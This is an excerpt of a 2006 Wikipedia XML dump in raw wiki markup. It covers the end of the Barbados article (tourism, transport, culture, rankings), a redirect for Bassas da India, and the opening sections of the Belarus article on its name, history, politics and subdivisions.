==Characteristics and tourist information==
The island of Barbados has a single major [[airport]], the ''[[Grantley_Adams_International_Airport| Sir Grantley Adams International Airport (GAIA)]] ''([[IATA]] identifier [[BGI]]). The ''Grantley Adams'' Airport receives daily flights by several major airlines, from points around the globe, as well as several smaller regional commercial airlines and charters. The airport serves as the main air-transportation hub for the Eastern Caribbean.  The airport is currently under-going a US$100 million upgrade and expansion.

The island is well developed and there are many local quality-hotels known internationally which offer world-class accommodations. Timeshares are available, and many of the smaller local hotels and private villas which dot the island have space available if booked months in advance. The southern and western coasts of Barbados are popular, with its calm light blue Caribbean sea and fine white and pinkish sandy beaches. Along the island's east coast the [[Atlantic Ocean]] side are tumbling waves which are perfect for light [[surfing]], but a little bit risky due to under-tow currents.

[[Shopping]] districts are another treat in Barbados, with ample duty-free shopping. There is also a festive nightlife available in mainly tourist areas like the Saint Lawrence Gap. Other attractions include wildlife reserves, jewelry stores, [[scuba]] diving, helicopter rides, [[golf]], [[festival]]s, sight seeing, cave exploration, exotic [[drink]]s and fine [[clothes]] [[shopping]].

===Attractions, landmarks and points of interest===
Name / Parish Location:
{| valign=top
|-
|width=200 valign=top style=&quot;font-size:90%;&quot;|
- '''Christ Church'''
* [[Barbados Historical Museum]]
* [[Garrison Savannah]]
* [[Graeme Hall Swamp]]
* [[St. Lawrence Gap]]

- '''St. Andrew'''
* [[Cherry Tree Hill]]
* [[Morgan Lewis Windmill]]

|width=200 valign=top style=&quot;font-size:90%;&quot;|
- '''St. George'''
* [[Gun Hill Signal Station]]
* [[Francia Great House]]
* [[Orchid World]]

- '''St. James'''
* [[Folkestone Marine Park]]

- '''St. John'''
* [[Codrington College]]
* [[St. John Parish Church]]

|width=200 valign=top style=&quot;font-size:90%;&quot;|
- '''St. Joseph'''
* [[Andromeda Gardens]]
* [[Flower Forest]]
* [[Hackleton's Cliff]]

- '''St. Lucy'''
* [[Animal Flower Cave]]
* [[Mount Gay|Mount Gay Rum Distilleries]]

|width=200 valign=top style=&quot;font-size:90%;&quot;|
- '''St. Michael'''
* [[Bridgetown Synagogue|Bridgetown Synagogue and Cemetery]]
* [[Bussa Emancipation Statue]]
* [[Kensington Oval]]
* [[Sharon Moravian Church]]

- '''St. Peter'''
* [[Barbados Wildlife Reserve]]
* [[Farley Hill National Park]]

- '''St. Philip'''
* [[Sunbury Plantation]]

- '''St. Thomas'''
* [[Harrison's Cave]]
* [[Welchman Hall Gully]]
|}
''List of'': [[List of Cities, towns and villages in Barbados|Cities, towns and villages]] in Barbados.

==Transportation==
Transportation on the island is good, with 'route taxis', called &quot;ZR's&quot; (pronounced &quot;Zed-Rs&quot;), travelling to most points on the island.  These small buses can at times be crowded, but will usually take the more scenic routes to destinations. These buses generally depart from the capital [[Bridgetown]] or from [[Speightstown, Barbados|Speightstown]] in the northern part of the island.

Buses are abundant in Barbados. There are three bus systems running seven days a week (though less frequently on Sundays), and a ride on any of them costs $1.50 BDS. The smaller buses from the two privately owned systems (&quot;ZR's&quot; and &quot;minibuses&quot;) can make change; the larger blue buses from the government-operated Barbados Transport Board system cannot. Most routes require a connection in Bridgetown. However, if you wait long enough, you might find a bus that bypasses the capital and takes you right to your destination. Drivers are generally happy to help you get where you're going; however, some drivers within the competitive privately owned systems are reluctant to instruct you to use competing services, even if those would be preferable.

Competition for patrons extends to the bus terminals (sometimes just a parking lot full of buses); it is normal for the 'ZR' bus conductors to attempt to escort you to his vehicle and engage in loud altercations with other drivers and conductors, in competition for your patronage. These altercations, though sometimes dramatic, are less problematic than they usually seem to the unaccustomed.

Some hotels also provide visitors with shuttles to points of interest on the island.  Hotel shuttles generally leave right outside of the hotel's lobby. The island also has an abundance of taxis-for-hire, although visitors staying on the island may find this an expensive option. Visitors also have the option of transport by car, presuming that they have a valid driver's license (issued in their native country.) There are several locally owned and operated vehicle rental agencies in Barbados.

==Demographics==
{{main|Demographics of Barbados}}
Barbados has a population of about 279,000 and a growth rate of 0.33% (Mid-2005 estimates). Close to 90 percent of all Barbadians (also known colloquially as ''Bajan'') are of [[African]] descent (&quot;Afro-Bajans&quot;), mostly descendants of the [[slavery|slave]] labourers on the sugar plantations. The remainder of the population includes groups of [[Europe]]ans (&quot;Anglo-Bajans&quot; / &quot;Euro-Bajans&quot;), [[Asia]]ns, Bajan Hindus and Muslims, and an influential Middle Eastern (&quot;Arab-Bajans&quot;) group mainly of [[Syria]]n and [[Lebanon|Lebanese]] descent.

Other groups in Barbados include people from the [[United States]], [[Canada]], and [[expatriate]]s from [[Latin America]]. Barbadians who return after years of residence in the U.S. are called &quot;Bajan Yankees&quot;; this term is considered derogatory by some.
 
The official language of Barbados is [[English language|English]] but most Bajans speak their national language, [[Bajan]] and while most Barbadians are [[Protestant]] Christians, chiefly of the [[Anglican Church]], there are other Protestant, [[Roman Catholic Church|Roman Catholic]], [[Hinduism|Hindu]] and [[Islam|Muslim]] minorities.  Barbados is currently a chief emigration location from the [[South America]]n nation of [[Guyana]].

==Culture==
{{main|Culture of Barbados}}
The influence of the English on Barbados is more noticeable than on other islands in the West Indies. A good example of this is the island's national sport: [[cricket]]. Barbados has brought forth several great cricket players, including [[Garfield Sobers]] and [[Frank Worrell]].

Citizens are officially called Barbadian, however residents of Barbados colloquially refer to themselves or the products of the country as &quot;Bajan&quot;.  The term &quot;Bajan&quot;, may have come from a localized pronunciation of the word Barbadian which at times can sound more like &quot;Bar-bajan&quot;. The term Barbadian, is used less frequently than is &quot;Bajan&quot;.

The largest [[Carnival]] cultural events which take place in Barbados are the ''Congaline Festival'' and ''Crop Over Festival'' as known internationally.

As is the case in many of the other Caribbean and Latin American countries, Carnival is an important event for many people on the island, as well as the thousands of tourists that flock to the island to participate in the annual events.

The smaller of the two events is the ''Congaline Festival'', which takes place during the last week of March. The ''Crop Over'' Carnival which includes various musical competitions, and other traditional activities usually kicks into high gear from the beginning of July, and ends in its entirety during the first week of August.

The Crop Over festival closes with Grand Kadooment a large parade on the final day of festivities.
:''See also: [[Music of Barbados]]''

==Sport==
There are several sports played in Barbados of which cricket is arguably the favourite(like many other Caribbean countries).
Barbados will be playing host to the 2007 Cricket World Cup final,as well as six &quot;Super Eight&quot; matches and several warm-up matches. The final is schedule to take place on Saturday 28 April, 2007.

==National symbols==
[[Image:Flower4.JPG|thumb|100px|A yellow and red Poinciana]]
The national flower is the [[Poinciana]] (''Caesalpinia pulcherrima''  (L.) Sw.   , Pride of Barbados), which grows across the island of Barbados.
[[Image:Barbados_coa.png|thumb|192px|left|Barbados' Coat of Arms]]

===Golden Shield===
The Golden Shield in the Coat of Arms carries two &quot;Pride of Barbados&quot; orchids and the &quot;bearded&quot; fig tree (''[[Ficus citrifolia]]'' or ''Ficus barbata'') which was common on the island at the time of its settlement by the British and contributed to Barbados being so named.

===Coat of Arms===
The [[coat of arms]] depicts two animals which are supporting the shield. On the left is a [[dolphin]] (dexter); symbolic of the fishing industry and sea-going past of Barbados. On the right is a [[pelican]] (sinister); symbolic of a small island named [[Pelican Island]] that once existed off the coast of Bridgetown. Above the shield is the helmet of Barbados with an extended arm clutching two [[sugar-cane]] stalks. The &quot;cross&quot; formation made by the cane stalks represents the cross which [[Saint Andrew]] was crucified. On the base of the Coat of Arms reads &quot;Pride and Industry&quot; in reference to the motto of the country.

==National Heroes==
There are '''10 Barbados national heroes'''.
*Sir [[Errol Barrow]]
*[[Grantley Herbert Adams|Sir Grantley Adams]] ([http://www.barbados.gov.bb/grantleya.htm])
*[[Bussa]]
*[[Sarah Ann Gill]]
*[[Samuel Jackson Prescod]]
*Sir [[Frank Walcott]]
*[[Charles Duncan O'Neal]]
*Sir [[Garfield Sobers]]
*[[Clement Payne]]
*Sir [[Hugh Springer]]

''See also: [[List of Eastern Caribbean people#Barbados|List of Eastern Caribbean people]]''

==&lt;br clear=&quot;all&quot;&gt;International rankings==
* [http://www.odci.gov/cia/publications/factbook/docs/notesanddefs.html CIA World Factbook - GDP] - ([[Purchasing power parity|PPP]]) per capita:
** [[2004]]: ranked 59 of 232 countries &amp; territories --  $ 15,700 [http://www.odci.gov/cia/publications/factbook/rankorder/2004rank.html 59th]
* [[The Economist|Economist, The]], Worldwide quality-of-life index:
** [[2005]] ranked 33 out of 111 countries [http://www.economist.com/theworldin/international/displayStory.cfm?story_id=3372495&amp;d=2005 33rd] 
* [[Heritage Foundation]]/[[The Wall Street Journal]], [[Index of Economic Freedom]] [http://www.heritage.org/research/features/index/ countries]:
** [[2005]] ranked 32 of 155 countries [http://www.heritage.org/research/features/index/country.cfm?id=Barbados  32nd]
*[[International Telecommunication Union]], Digital Access Index (Top 10 in Americas):
**[[2002]]: ranked 45 of 178 countries [http://www.itu.int/newsarchive/press_releases/2003/30.html 45th]
* [[Reporters without borders]]:
** [[2004]]: N/A [http://www.rsf.fr/article.php3?id_article=11715]
* [[Save the Children]], State of the World&amp;#8217;s Mothers:
** [[2004]]: N/A [http://www.savethechildren.org/mothers/report_2004/images/pdf/SOWM_2004_final.pdf]
* [[Transparency International]], Corruption Perceptions Index:
** [[2004]]: ranked 21 out of 146 countries surveyed [http://www.transparency.org/pressreleases_archive/2004/2004.10.20.cpi.en.html 21st]
* [[UN]], [[Human_Development_Index|Human Development Index (HDI)]]:
** [[2004]]: ranked 29th out of 177 countries [http://hdr.undp.org/reports/global/2004/pdf/presskit/HDR04_PKE_HDI.pdf 29th] (3rd in the Americas, after [[Canada]] and the [[United States]]
** [[2003]]: ranked 27th out of 175 countries [http://hdr.undp.org/reports/global/2003/pdf/presskit/HDR03_PKE_HDI.pdf 27th]
** [[2002]]: ranked 31st out of 173 countries [http://hdr.undp.org/reports/global/2002/en/pdf/HDR%20PR_HDI.pdf 31st]
** [[2001]]: ranked 31st out of 162 countries [http://hdr.undp.org/reports/global/2001/en/pdf/hdi.pdf 31st]
** [[2000]]: ranked 30th out of 174 countries [http://www.undp.org/hdr2000/english/presskit/hdi.pdf 30th]
** [[1999]]: ranked 29th out of 174 countries [http://hdr.undp.org/reports/global/1999/en/pdf/hdr_1999_back1.pdf 29th]
** [[1998]]: N/A
* [[World Economic Forum]], Global Competitiveness Report/Growth Competitiveness Index:
** [[2004]]-[[2005]]: N/A [http://www.weforum.org/site/homepublic.nsf/Content/Global+Competitiveness+Programme%5CGlobal+Competitiveness+Report]
* [[World Bank]]:
** Total [[List of countries by GDP (PPP) per capita|GDP per capita]]
*** [[2003]] (World Bank): ranked 38 -- $ 15,712
** Total [[List of countries by GDP (nominal)|GDP (nominal)]]
*** [[2003]]: ranked 138 -- $ 2,628


{{CIA WFB 2000}}

{{CIA WFB 2003}}

==Further reading==
*Scott, Caroline 1999. ''Insight Guide Barbados''. Discovery Channel and Insight Guides; 4th edition, Singapore. ISBN 0887290337
*O'Shaughnessy, Andrew Jackson 2000. ''An Empire Divided - The American Revolution and the British Caribbean''. University of Pennsylvania Press, Philadelphia ISBN 0812217322
*Hamshere, Cyril 1972. ''The British In the Caribbean''. Harvard University Pres, Massachusetts USA. ISBN 674082354
*Rogozinski, Jan 1999. ''A Brief History of the Caribbean - From the Arawak and Carib to the Present''. Revised version New York, USA. ISBN 0816038112
* Burns, Sir Alan 1965. ''History of the British West Indies''. George Allen and Unwin Ltd, London England.

==See also==
* ''List of: [[List of Cities, towns and villages in Barbados|Cities, towns and villages]] in Barbados.''
* [[List of Eastern Caribbean people#Barbados|List of Barbadians]], (persons from Barbados.)
* [[Nationality law of Barbados]]
* [[Foreign relations of Barbados]]
* [[Communications in Barbados]]
* [[Transportation in Barbados]]
* [[Military of Barbados]]

==External links==
{{sisterlinks|Barbados}}

===Government===
* [http://www.barbados.gov.bb/ Barbados Government Information Network] - official website
* [http://www.barbadosparliament.com/ Parliament of Barbados official website]
* [http://www.centralbank.org.bb/ Central Bank of Barbados website]
* [http://www.barbadosparliament.com/sm_facts_abt_barbados.php Parliament of Barbados - Some facts about Barbados]
* [http://www.bidc.com/ Barbados Investment and Development Corporation]

===Directories===
* [http://www.totallybarbados.com Totally Barbados - Online Island Guide]
* [http://www.accessbarbados.com Barbados Vacation Travel Guide &amp; Business Directory]
* [http://nigel.search.co.tt/ the Barbados Webdirectory]
* [http://www.bcslbarbados.com/barbados.aspx Points and places of Interest when in Barbados]
* [http://www.bdscham.com/ Barbados Chamber of Commerce and Industry]
* [http://www.bajan.org/ Bajan - The Hitch Hiker's Guide to Barbados] -- Note-- Hitchhiking is actually not recommended.

===Tourism===
*{{wikitravel}}
* [http://www.visitbarbados.org/ Official website of The Barbados Tourism Authority]
* [http://barbadostourisminvestment.com/ Barbados Tourism Investment] Inc.

===Other===
* [http://www.hurricanecity.com/city/barbados.htm Hurricane History of Barbados]

{{maplr|13.16|-59.55|Barbados}}

See also MapQuest zoom levels 8, 9, and 10.

''Maps of  Barbados from Caribbean-On-Line.com'' 
* [http://www.caribbean-on-line.com/islands/br/brmap.shtml Map of Barbados]
{{West_Indies}}
{{caricom}}
[[Category:Barbados| ]]
[[Category:CARICOM member states]]
[[Category:Caribbean countries]]
[[Category:Caribbean islands]]
[[Category:Monarchies]]
[[Category:Island nations]]
[[Category:Former British colonies]]
[[Category:Members of the Commonwealth of Nations]]

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[[zh:巴巴多斯]]</text>
    </revision>
  </page>
  <page>
    <title>Bassas da India</title>
    <id>3456</id>
    <revision>
      <id>39884327</id>
      <timestamp>2006-02-16T15:29:56Z</timestamp>
      <contributor>
        <username>Koavf</username>
        <id>205121</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]][[de:Bassas da India]] [[eo:Basas-de-India Insulo]][[it:Bassas da India]][[category:Indian Ocean atolls]]</text>
    </revision>
  </page>
  <page>
    <title>Belarus</title>
    <id>3457</id>
    <revision>
      <id>42142637</id>
      <timestamp>2006-03-04T02:34:05Z</timestamp>
      <contributor>
        <username>Kuban kazak</username>
        <id>439789</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{otheruses}}
&lt;!-- BEGIN INFOBOX --&gt;
{{Infobox Country |
native_name = Рэспубліка Беларусь&lt;br /&gt; Республика Беларусь&lt;br /&gt; Respublika Biełaruś&lt;br /&gt; Republic of Belarus |
common_name = Belarus |
image_flag = Flag_of_Belarus.svg |
image_coat = Belarus coa.png |
national_motto = ''none'' |
image_map = LocationBelarus.png |
national_anthem = ''[[My Belarusy]]'' |
official_languages = [[Belarusian language|Belarusian]], [[Russian language|Russian]] |
capital = [[Minsk]] |latd=53|latm=55|latNS=N|longd=27|longm=33|longEW=E|
government_type =  [[Republic]] |
leader_titles = [[President of Belarus|President]]&lt;br /&gt; [[Prime Minister of Belarus|Prime Minister]] |
leader_names = [[Alexander Lukashenko]]&lt;br /&gt; [[Sergey Sidorsky]] |
largest_city = [[Minsk]] |
area = 207,600 |
areami² = 80,155 | &lt;!-- Do not remove [[WP:MOSNUM]]--&gt;
area_rank = 93rd |
area_magnitude = 1 E11 |
percent_water = negligible (183 sq. km)¹ |
population_estimate = 10,300,483 |
population_estimate_year = 2005 |
population_estimate_rank = 65th |
population_census = 10,045,200 |
population_census_year = 1999 |
population_density = 49 |
population_densitymi² = 127 | &lt;!-- Do not remove [[WP:MOSNUM]]--&gt;
population_density_rank = 142nd |
GDP_PPP_year = 2005 |
GDP_PPP = $77,770 million |
GDP_PPP_rank = 64th |
GDP_PPP_per_capita = $7,600|
GDP_PPP_per_capita_rank = 104th |
HDI_year = 2003 |
HDI = 0.786 |
HDI_rank = 67th |
HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; |
sovereignty_type = [[Independence]] |
established_events = &amp;nbsp;-&amp;nbsp;Declared&lt;br /&gt; &amp;nbsp;-&amp;nbsp;Established |
established_dates = From the [[Soviet Union]]&lt;br/ &gt; [[July 27]] [[1990]]&lt;br/ &gt; [[August 25]] [[1991]] |
currency = [[Belarusian rouble|rouble]] |
currency_code = BYR |
time_zone = [[EET]] |
utc_offset = +2 |
time_zone_DST = [[EEST]] |
utc_offset_DST = +3 |
cctld = [[.by]] |
calling_code = 375 |
footnotes = &lt;small&gt;1: [http://www.cci.by/En/Belarus/Tourism.html http://www.cci.by/En/Belarus/Tourism.html]&lt;/small&gt;|
}}
&lt;!-- END INFOBOX --&gt;
The '''Republic of Belarus''' is a landlocked [[nation-state]] in [[Eastern Europe]], which borders [[Latvia]], [[Lithuania]], [[Poland]], [[Russia]] and [[Ukraine]]. Its capital city is [[Minsk]], and other important cities include [[Brest, Belarus|Brest]], [[Grodno]] (Hrodna), [[Gomel]] (Homyel'), [[Mahilyow]] and [[Vitebsk]] (Viciebsk).

Throughout much of history, the area which is now known as Belarus was part of various countries including [[Lithuania]], [[Poland]] and the [[Russian Empire]]. Eventually, in 1922, Belarus became a republic in the [[Soviet Union]] as the [[Byelorussian SSR]]. The republic officially declared its sovereignty  on [[27 August]] [[1990]], and following the [[History of the Soviet Union (1985-1991)|collapse]] of the Soviet Union, declared independence as the Republic of Belarus on [[25 August]] [[1991]]. Since 1994, amidst allegations of human rights violations and [[autocracy]], [[Alexander Lukashenko]] has been the nation's president. As a consequence, Belarus has been excluded from joining the [[Council of Europe]]. The country also continues to suffer from the effects of [[nuclear fallout]] from the 1986 Chernobyl accident, which took place in neighboring [[Ukrainian SSR|Ukraine]]. Belarus is also in negotiations with neighboring Russia to integrate both of their economies, among other things, in a plan called the [[Union of Russia and Belarus]].

Officially, the country is known as the '''Republic of Belarus''' ([[Belarusian language|Belarusian]]: Рэспубліка Беларусь, [[Lacinka alphabet|Łacinka]]: Respublika Biełaruś; [[Russian (language)|Russian]]: Республика Беларусь, Respublika Belarus), while the short name is '''Belarus''' (Беларусь, Biełaruś, Беларусь). The earlier name &quot;Byelorussia&quot; (Белоруссия) can still be found in use, although mainly in historical contexts. Some consider the use of &quot;Byelorussian&quot; derogatory, with its direct implication of [[Russification]]. The name has incorrectly been translated as &quot;[[White Russia]]&quot;, a name that refers to a separate region.

==History of the name==
Historically, the country was referred to in [[English language|English]] as &quot;White Russia&quot;, although this is not exactly correct, the correct translation is  &quot;White [[Ruthenia]]&quot;; the practice continues to this day in other languages. &lt;!-- Please don't insert any other languages' translations of Belarus; they belong on the [[White Russia]] page.  Thanks! --&gt; The first known use of &quot;White Russia&quot; to refer to Belarus was in the late [[16th Century]] by European [[Jerome Horsey]]. He used the term to describe the areas of [[Ivan IV|Ivan the Terrible]]'s empire.  During the [[17th century]] the Russian tsars used &quot;White Ruthenia&quot;, asserting that they were trying to recapture their heritage from the [[Polish-Lithuanian Commonwealth]]. After the Commonwealth broke up, the lands that now make up Belarus were officially referred to as &quot;Belarus&quot; and &quot;Belarusi&quot;, instead of the then-banned terms of &quot;Litwa&quot; and &quot;Licwiny.&quot;{{ref|name}}

The spellings '''Belorussia''' and '''Byelorussia''' are transliterations of the name of the country in [[Russian (spelling)|Russian]]. Belarus was named &quot;Byelorussia&quot; in the days of [[Imperial Russia]], and the Russian [[tsar]] was usually styled &quot;Emperor of All the Russias — Great, Minor, and White&quot;. This practice continued throughout the [[Soviet era]], with the country taking the official name of the &quot;[[Byelorussian SSR|Byelorussian Soviet Socialist Republic]]&quot;. Some Belarusians object to the name &quot;Byelorussia&quot;, as it is an unwelcome reminder of the days under Russian and Soviet rule.
&lt;!-- I had initially decided to remove the para below for the reasons raised during the latest FAC, but it turns out that pravapis.org is in fact the biggest and most notable website concerning Belarusian usage, and as such its findings on something like this are worth reporting. [[User:MarkGallagher|fuddlemark]] ([[User talk:MarkGallagher|fuddle me!]]) 14:26, [[15 September]] [[2005]] (UTC) --&gt;
In 2002, an informal survey was conducted by the website [http://pravapis.org/ pravapis.org] to see which version of the name was used on a majority of websites. By using Google, the website looked up various terms and it found that &quot;Belarus&quot;, the official short form of the name, was used on 93% of websites checked. Different spellings of Byelorussia, such as &quot;Belorussia&quot; and &quot;Bielorussia&quot;, came in second and third, respectively.{{ref|spellings}} A number of languages today still refer to Belarus as White Russia, such as &quot;Weißrussland&quot; in [[German language|German]] or &quot;Λευκορωσία&quot; (leukorosia) in [[greek language|Hellenic]]. &lt;!-- you don't have to insert more languages here --&gt;

==History==
{{main|History of Belarus}}
[[Image:Pol-lith commonwealth map.jpg|thumb|Map of the [[Grand Duchy of Lithuania]] and the [[Kingdom of Poland]], which eventually became the [[Polish-Lithuanian Commonwealth]].]]
Between the [[6th century|6th]] and [[8th century|8th]] centuries, what is now known as Belarus was settled by the [[Slavs]], who still dominate the country. The [[Early East Slavs]] gradually came into contact with the [[Varangians]] and were organized under the state of [[Rus' (people)|Rus']], mainly in the area around modern-day [[Polatsk]] in the northern part of the country.  In the [[13th century]], the state was badly affected by a [[Mongol]] invasion, and eventually parts of Rus' were swallowed up by the [[Grand Duchy of Lithuania]].  The core lands of the duchy were territories around [[Kernavė]], [[Trakai]] and [[Vilnius]] cities and [[Samogitia]]. During this time, the Belarusian teritories were largely at peace, but duchy itself were at many wars and had famous victories against [[Mongols]] in the east, [[Turkic peoples|Turks]] in the south and [[Teutonic knights]] in the west. By the [[15th century]], the Grand Duchy stretched across much of [[Eastern Europe]], from the [[Baltic Sea]] to the [[Black Sea]]. 

On [[February 2]] [[1386]], the recently-crowned King of Poland Grand Duke [[Władysław II Jagiełło|Jagiełło]], joined the Grand Duchy with [[Poland]] in a [[personal union]] under one monarch. This personal union eventually resulted in the [[Polish-Lithuanian Commonwealth]], a new state created in 1569.  The union was transformed by the [[May Constitution of 1791]], Europe's first modern codified national constitution, which abolished all state subdivisions and merged everything into the [[Kingdom of Poland]].  However, by 1795, the state was divided and annexed by [[Imperial Russia]], [[Prussia]] and [[Austria]] in the course of the [[Partitions of Poland]]. Belarus teritories remained part of the Russian Empire until being occupied by [[Imperial Germany|Germany]] during [[World War I]].  Belarus first declared independence on [[25 March]] [[1918]], forming the [[Belarusian People's Republic]].  The Republic was, however, short-lived, and the regime was overthrown soon after the German withdrawal.  In 1919 Belarus became the [[Byelorussian Soviet Socialist Republic]] (BSSR), and after Russian occupation of eastern Lithuania merged into the [[Lithuanian-Byelorussian Soviet Socialist Republic]].  After the [[Polish-Soviet War]] ended in 1921, Byelorussian lands were split between Poland and the recreated Byelorussian SSR, which became a founding member of the [[Union of Soviet Socialist Republics]] in 1922. In [[September]] [[1939]], the Soviet Union annexed the Polish-held Byelorussian land as a result of the [[Molotov-Ribbentrop Pact]].  

In 1941, [[Nazi Germany]] launched [[Operation Barbarossa]], invading the Soviet Union.  Byelorussia was captured soon afterwards, and remained in Nazi hands until 1944. Much the country was destroyed and much of its population was killed in the German invasion. The Jewish population of Belarus was also devastated during the [[Holocaust]]. It took until 1971 for the population of Belarus to reach the pre-war level. The Jewish population, however, never recovered. {{ref|warpop}}  After the war ended, Byelorussia was among the 51 signatories to the founding of the [[United Nations]], in 1945. The reconstruction that took place in Belarus after the war brought comparative prosperity to the Soviet Republic. During this time, Belarus became a major center of manufacturing in the western region of the USSR. The increase in jobs, brought in a huge immigrant population from the [[RSFSR|Russian Soviet Federated Socialist Republic]]. {{ref|Soviet-era}}  During [[Joseph Stalin]]'s era, a policy of [[Russification]] was started to &quot;protect&quot; Byelorussia SSR from influences by the West. &lt;!--The plan was to have any trace of Belarus's cultural identity to be replaced by those of Russia. --&gt;This policy involved sending Russians from various parts of the Soviet Union and placing them in key positions in the Byelorussian SSR government. The official use of the [[Belarusian language]] and other cultural aspects were also limited by [[Soviet Government|Moscow]]. After Stalin died in 1953, his successor [[Nikita Khrushchev]] continued the Russification program, stating in the Byelorussian SSR capital of [[Minsk]] that &quot;The sooner we all start speaking [[Russian language|Russian]], the faster we shall build [[communism]].&quot; {{ref|russification}}

In 1986, a section of Belarus was affected by the fallout from the [[Chernobyl]] power plant [[Chernobyl accident|accident]] in neighboring [[Ukrainian SSR|Ukraine]]. When Soviet premier [[Mikhail Gorbachev]] began pushing through his [[Perestroika]] plan, the Belarusian people delivered a petition to him in December of 1986 explaining the loss of their culture. This event has been coined by historians as the &quot;cultural Chernobyl.&quot; {{ref|Gorby}} In June of 1988, [[mass graves]] were discovered at the city of [[Kurapaty]]. The graves allegedly contained about 250,000 of Stalin's victims. Some contend that this discovery was proof that the Soviet government was trying to erase the Belarusian people and caused some to seek independence.{{ref|massgraves}} Belarus declared itself sovereign on [[27 July]] [[1990]], and the BSSR formally became the Republic of Belarus on [[25 August]] [[1991]], attaining full independence.  Around that time, [[Stanislav Shushkevich]] became Chairman of the [[Supreme Soviet]] of Belarus, the top leadership position in Belarus. Shushkevich, along with [[Boris Yeltsin]] of Russia and [[Leonid Kravchuk]] of [[Ukraine]] met on [[December 8]] [[1991]] in [[Belavezhskaya Pushcha]] to formally declare the dissolution of the Soviet Union and the formation of the [[Commonwealth of Independent States]]. Since 1994, the country has been led by [[Alexander Lukashenko]], who has been cited by [[Human Rights Watch]] for various violations of human rights and is generally regarded as a dictator by Western standards.

As of 2005, there appears to be a movement in Belarus towards reuniting with [[Russia]].  In [[November 2005]], a draft constitution was sent to both [[Vladimir Putin]] and Lukashenko for approval.[http://www.washingtontimes.com/world/20051114-102844-6237r.htm] This move, along with others, is part of the 1996 plan created by Lukashenko and former Russian President [[Boris Yeltsin]] to create a [[Union of Russia and Belarus|union]] between the two nations.

==Politics==
[[Image:Victory-square.jpg|thumb|250px|Victory Square, [[Minsk]].]]
[[Image:Lukashenko Putin August 2005.jpg|thumb|250px|right|Belarusian President Lukashenko meeting Russia|Russian President [[Vladimir Putin]] at an [[August]] [[2005]] CIS meeting.]] 
''Main articles: [[Politics of Belarus]], [[Foreign relations of Belarus]]''.

Belarus is a [[republic]], governed by a [[Leaders of Belarus|President]] and a [[bicameral]] [[parliament]]—the [[National Assembly of the Republic of Belarus|National Assembly]]—comprising a lower house, the 110 member [[House of Representatives of the Republic of Belarus|House of Representatives]], and an upper house, the 64 member [[Council of the Republic of Belarus|Council of the Republic]]. The House of Representatives has the power to appoint the Prime Minister of Belarus, make constitutional amendments, call for a vote of confidence on the prime minister and make suggestions on the foreign and domestic policy of Belarus. The Council of the Republic has the power to select various government officials, conduct an impeachment trial of the president and the ability to accept or reject the bills passed from the House of Representatives.  Each chamber has the ability to veto any law passed by local officials if it is contrary to the [[Constitution of Belarus]]. The President—since 1994, [[Alexander Lukashenko]]—is the [[head of state]]. The government is a [[Council (government)|Council]] of Ministers, headed by a [[Prime Minister of Belarus|prime minister]]; the members of the Council of Ministers need not be members of the legislature, and are appointed by the President. The judiciary comprises the [[Supreme Court of Belarus|Supreme Court]] and various specialized courts, such as the [[Constitutional Court of Belarus|Constitutional Court]], which deal with specific issued related to the constitution or business law. The judges of the Constitutional Court are appointed by the president and confirmed by the Council of the Republic.

In Belarus, while there are [[political party|political parties]] that either support or oppose President Lukashenko, the majority of the seats in the National Assembly are filled by those not affiliated with any political parties (&quot;non-partisans&quot;). However, there are three political parties who hold seats in the House of Representatives: the [[Communist Party of Belarus]] (8 seats), the [[Agrarian Party of Belarus]] (3 seats), and the [[Liberal Democratic Party of Belarus]] (1 seat). The other two parties that pledged their support to Lukashenko, the [[Belarusian Socialist Sporting Party]] and the [[Republican Party of Labour and Justice]], did not secure any seats in [[October]] [[2004]] election. Opposition parties, such as the [[Belarusian People's Front]] and the [[United Civic Party of Belarus]] did not gain any seats. The UCPB and the BPF are some of the parties that comprise the [[People's Coalition 5 Plus]], a group of political parties who oppose Lukashenko. Several organizations, including as the [[Organization for Security and Co-operation in Europe]], declared the election un-free due to opposition parties negative results and the bias of the Belarusian media in favor of the government. {{ref|OSCE}} However, in constitutional as well as political terms, the House is of marginal importance. At the 2000 election, it took four rounds of voting before all the seats were filled; in the end, 86% of the elected deputies were independents, and the remainder were the representatives of parties traditionally loyal to the president (OSCE, 2000). The [[Belarusian presidential election, 2006|next round of elections]] take place on March 19th, 2006, and this election also includes selecting the President. Lukashenko is being opposed in the election by [[Alexander Milinkevich]], a candidate representing a collitation of oppositional parties. Another opposition candiate, [[Alaksandar Kazulin]] of the Social Democrats was detained and beaten by police during protests surrounding the Lukashenko sponsored event, the [[All Belarusian People's Assembly]]. This event, among others, have caused for concern that the 2006 elections will once again have iregularities. [http://news.bbc.co.uk/2/hi/europe/4766024.stm]

Western media, politicians and [[political scientist]]s have increasingly labeled Belarus under President Lukashenko's rule as [[Europe]]'s last [[dictatorship]]. Lukashenko was quoted as saying that he has an &quot;authoritarian ruling style&quot; that he uses to run the country. [http://news.bbc.co.uk/2/hi/europe/3882843.stm] The [[Council of Europe]] has barred Belarus from membership since 1997 for undemocratic voting irregularities in the November 1996 constitutional referendum and parliament by-elections. According to the Venice Commission of the Council of Europe, Belarus's constitution is &quot;illegal and does not respect minimum democratic standards and thus violates the principles of separation of powers and the rule of law&quot;. {{ref|CoE}} The Belarusian government is also criticized for [[human rights]] violations and its actions against [[Non-governmental organization|NGOs]], independent journalists, national minorities and opposition politicians.{{ref|HRW}} During the rule of the current administration in Belarus, there have been several cases of persecution, including the [[Forced disappearance|disappearance]] or death of prominent opposition leaders and independent journalists. Belarus is also one of just two nations in Europe that retains the [[Capital punishment in Belarus|death penalty]] for certain crimes.

==Subdivisions==
{{main|Subdivisions of Belarus}}
[[Image:Belarus.geohive.png|thumb|320px|right|[[Subnational|Administrative division]].]]
Belarus is divided into six [[province]]s (&quot;[[voblast]]s&quot;), named after the cities that serve as their administrative centers. The city of Minsk, located in the Minsk province, has the special status of being a national subordinate as it isn't included in any voblast. Subdivision into ''voblasts'' is inherited from the Soviet era.  Voblasts are further subdivided into ''[[raion]]s'' (commonly translated as &quot;[[district]]s&quot; or &quot;regions&quot;). Local legislative authorities (''raisovet'', &quot;raion council&quot;) are elected by the raion's residents; local executive authorities (''raion administration'') are appointed by higher executive authorities. In the same way, each voblast has its own legislative authority (''oblsovet''), elected by residents, and an  executive authority (''voblast administration''), whose leader is appointed by the President.

